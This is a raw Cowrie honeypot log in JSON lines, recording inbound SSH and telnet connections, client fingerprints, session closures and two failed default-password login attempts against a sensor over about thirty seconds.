{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:52.097043Z","src_ip":"148.230.169.229","session":"b9a1dd09a841","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.443845748901367,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:52.155712Z","src_ip":"45.10.154.244","session":"1d842fe87676","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test","message":"login attempt [test1/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:52.393675Z","src_ip":"148.230.169.229","session":"b9a1dd09a841","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":50566,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab0ee592f9a2","protocol":"telnet","message":"New connection: 45.10.154.244:50566 (10.17.0.5:23) [session: ab0ee592f9a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:53.228724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:53.439320Z","src_ip":"122.168.114.167","session":"11f6dd11713d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:53.514010Z","src_ip":"122.168.114.167","session":"11f6dd11713d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":52274,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a8a8edc3e49","protocol":"telnet","message":"New connection: 45.10.154.244:52274 (10.17.0.5:23) [session: 2a8a8edc3e49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:53.774869Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:54.178219Z","src_ip":"148.230.169.229","session":"b9a1dd09a841","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.3633508682251,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:55.003003Z","src_ip":"167.99.38.72","session":"0491adb60398","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.189013719558716,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:55.059458Z","src_ip":"45.10.154.244","session":"35e3b25b2a49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.703730583190918,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:55.064917Z","src_ip":"45.10.154.244","session":"bdeb21fb80ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83949613571167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:55.516389Z","src_ip":"45.10.154.244","session":"806b06230d8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":60850,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1d019e5b9fd","protocol":"telnet","message":"New connection: 45.10.154.244:60850 (10.17.0.5:23) [session: c1d019e5b9fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:56.089103Z"}
{"eventid":"cowrie.session.closed","duration":31.16986584663391,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:57.321625Z","src_ip":"45.10.154.244","session":"651d83404195","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91378617286682,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:57.603715Z","src_ip":"45.10.154.244","session":"d5b13b863bce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.133605480194092,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:58.065195Z","src_ip":"45.10.154.244","session":"c7912f83e714","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0693621635437,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:59.054262Z","src_ip":"45.10.154.244","session":"923a52b5c28b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":43960,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7f85e98d81a","protocol":"telnet","message":"New connection: 45.10.154.244:43960 (10.17.0.5:23) [session: e7f85e98d81a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:59.102242Z"}
{"eventid":"cowrie.session.closed","duration":30.614871740341187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:59.244999Z","src_ip":"45.10.154.244","session":"587b8cb4eea7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.601609468460083,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:59.993896Z","src_ip":"34.69.118.1","session":"9885831127b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":50812,"dst_ip":"10.17.0.5","dst_port":23,"session":"aad0c5c20d78","protocol":"telnet","message":"New connection: 45.10.154.244:50812 (10.17.0.5:23) [session: aad0c5c20d78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:00.821581Z"}
{"eventid":"cowrie.session.closed","duration":31.214565753936768,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:00.829370Z","src_ip":"34.69.118.1","session":"290541415ade","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":51828,"dst_ip":"10.17.0.5","dst_port":23,"session":"e68db0ce5712","protocol":"telnet","message":"New connection: 45.10.154.244:51828 (10.17.0.5:23) [session: e68db0ce5712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:01.081740Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":60050,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd27d5737046","protocol":"telnet","message":"New connection: 45.10.154.244:60050 (10.17.0.5:23) [session: bd27d5737046]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:03.355158Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":34704,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a6802020961","protocol":"telnet","message":"New connection: 45.10.154.244:34704 (10.17.0.5:23) [session: 3a6802020961]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:04.198539Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":38874,"dst_ip":"10.17.0.5","dst_port":23,"session":"73cbaff7de40","protocol":"telnet","message":"New connection: 45.10.154.244:38874 (10.17.0.5:23) [session: 73cbaff7de40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:05.276752Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":39458,"dst_ip":"10.17.0.5","dst_port":23,"session":"15100eb353d5","protocol":"telnet","message":"New connection: 45.10.154.244:39458 (10.17.0.5:23) [session: 15100eb353d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:05.460392Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":41328,"dst_ip":"10.17.0.5","dst_port":23,"session":"1aa0cb187f1a","protocol":"telnet","message":"New connection: 45.10.154.244:41328 (10.17.0.5:23) [session: 1aa0cb187f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:05.981278Z"}
{"eventid":"cowrie.session.closed","duration":30.714715480804443,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:06.067927Z","src_ip":"45.10.154.244","session":"f486a4bf58ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":44004,"dst_ip":"10.17.0.5","dst_port":23,"session":"58c651ed24c3","protocol":"telnet","message":"New connection: 45.10.154.244:44004 (10.17.0.5:23) [session: 58c651ed24c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:06.641835Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":44772,"dst_ip":"10.17.0.5","dst_port":23,"session":"85c085310bd3","protocol":"telnet","message":"New connection: 45.10.154.244:44772 (10.17.0.5:23) [session: 85c085310bd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:06.804322Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":45056,"dst_ip":"10.17.0.5","dst_port":23,"session":"41636f9369c8","protocol":"telnet","message":"New connection: 45.10.154.244:45056 (10.17.0.5:23) [session: 41636f9369c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:06.859463Z"}
{"eventid":"cowrie.session.closed","duration":30.64944076538086,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:07.150509Z","src_ip":"45.10.154.244","session":"cc8c85f5c9dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.101","src_port":36086,"dst_ip":"10.17.0.5","dst_port":22,"session":"945ca371917e","protocol":"ssh","message":"New connection: 190.108.60.101:36086 (10.17.0.5:22) [session: 945ca371917e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:07.232220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:07.237140Z","src_ip":"190.108.60.101","session":"945ca371917e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:07.425309Z","src_ip":"190.108.60.101","session":"945ca371917e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":47614,"dst_ip":"10.17.0.5","dst_port":23,"session":"b23aea304c82","protocol":"telnet","message":"New connection: 45.10.154.244:47614 (10.17.0.5:23) [session: b23aea304c82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:07.512512Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":54148,"dst_ip":"159.203.135.109","dst_port":23,"session":"51d19fa4d883","protocol":"telnet","message":"New connection: 167.99.38.72:54148 (159.203.135.109:23) [session: 51d19fa4d883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:07.809708Z"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"1234qwer","message":"login attempt [ftpuser/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:08.207513Z","src_ip":"190.108.60.101","session":"945ca371917e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58900,"dst_ip":"159.203.135.109","dst_port":23,"session":"383e8e474a9e","protocol":"telnet","message":"New connection: 51.161.172.108:58900 (159.203.135.109:23) [session: 383e8e474a9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:09.350516Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:09.400645Z","src_ip":"190.108.60.101","session":"945ca371917e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":54900,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d16883ab562","protocol":"telnet","message":"New connection: 45.10.154.244:54900 (10.17.0.5:23) [session: 4d16883ab562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:09.496001Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39394,"dst_ip":"159.203.135.109","dst_port":23,"session":"885f41e1fb08","protocol":"telnet","message":"New connection: 51.161.172.108:39394 (159.203.135.109:23) [session: 885f41e1fb08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:09.734012Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":56078,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e1bbe44ca75","protocol":"telnet","message":"New connection: 45.10.154.244:56078 (10.17.0.5:23) [session: 3e1bbe44ca75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:09.743676Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":55196,"dst_ip":"159.203.135.109","dst_port":23,"session":"999aec465058","protocol":"telnet","message":"New connection: 167.99.38.72:55196 (159.203.135.109:23) [session: 999aec465058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:10.625851Z"}
{"eventid":"cowrie.session.closed","duration":30.6316339969635,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:11.392684Z","src_ip":"34.69.118.1","session":"2cbe794aff33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":55682,"dst_ip":"159.203.135.109","dst_port":23,"session":"30fd6f3b3f4e","protocol":"telnet","message":"New connection: 167.99.38.72:55682 (159.203.135.109:23) [session: 30fd6f3b3f4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:11.411409Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":56644,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd1de8cac24b","protocol":"telnet","message":"New connection: 167.99.38.72:56644 (159.203.135.109:23) [session: bd1de8cac24b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:12.069938Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":36704,"dst_ip":"10.17.0.5","dst_port":23,"session":"d59f3076791f","protocol":"telnet","message":"New connection: 45.10.154.244:36704 (10.17.0.5:23) [session: d59f3076791f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:12.201591Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":37120,"dst_ip":"10.17.0.5","dst_port":23,"session":"e37025c1f0fd","protocol":"telnet","message":"New connection: 45.10.154.244:37120 (10.17.0.5:23) [session: e37025c1f0fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:12.330387Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":40698,"dst_ip":"10.17.0.5","dst_port":23,"session":"9593f42e98c0","protocol":"telnet","message":"New connection: 45.10.154.244:40698 (10.17.0.5:23) [session: 9593f42e98c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:13.507499Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":45922,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e3ca7e58494","protocol":"telnet","message":"New connection: 45.10.154.244:45922 (10.17.0.5:23) [session: 6e3ca7e58494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:14.979388Z"}
{"eventid":"cowrie.session.closed","duration":30.72048330307007,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:15.554593Z","src_ip":"45.10.154.244","session":"ed533167cb23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":58956,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ec57d37b48e","protocol":"telnet","message":"New connection: 167.99.38.72:58956 (159.203.135.109:23) [session: 3ec57d37b48e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:15.648190Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":49622,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2aaa95aedd0","protocol":"telnet","message":"New connection: 45.10.154.244:49622 (10.17.0.5:23) [session: c2aaa95aedd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:16.080764Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":59840,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5626bdc6a19","protocol":"telnet","message":"New connection: 167.99.38.72:59840 (159.203.135.109:23) [session: d5626bdc6a19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:17.131617Z"}
{"eventid":"cowrie.session.closed","duration":30.874319791793823,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:17.235207Z","src_ip":"45.10.154.244","session":"4f6c09d1a480","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.760805130004883,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:17.616329Z","src_ip":"45.10.154.244","session":"56a6450db304","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":55660,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f2a67b004dd","protocol":"telnet","message":"New connection: 45.10.154.244:55660 (10.17.0.5:23) [session: 1f2a67b004dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:17.632351Z"}
{"eventid":"cowrie.session.closed","duration":30.322760581970215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:18.070533Z","src_ip":"45.10.154.244","session":"456980de2d7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":58804,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4fa449b90f1","protocol":"telnet","message":"New connection: 45.10.154.244:58804 (10.17.0.5:23) [session: c4fa449b90f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:18.450494Z"}
{"eventid":"cowrie.session.closed","duration":31.4647319316864,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:18.590740Z","src_ip":"45.10.154.244","session":"b68a76bb99b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.95931577682495,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:19.907782Z","src_ip":"167.99.38.72","session":"d42f2d57b02c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":37600,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3f46384fb02","protocol":"telnet","message":"New connection: 45.10.154.244:37600 (10.17.0.5:23) [session: f3f46384fb02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:20.458656Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50586,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5cd0a70f172","protocol":"telnet","message":"New connection: 51.161.172.108:50586 (159.203.135.109:23) [session: d5cd0a70f172]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:20.515355Z"}
{"eventid":"cowrie.session.connect","src_ip":"113.163.156.190","src_port":38876,"dst_ip":"159.203.135.109","dst_port":22,"session":"91d163f8900d","protocol":"ssh","message":"New connection: 113.163.156.190:38876 (159.203.135.109:22) [session: 91d163f8900d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:20.965618Z"}
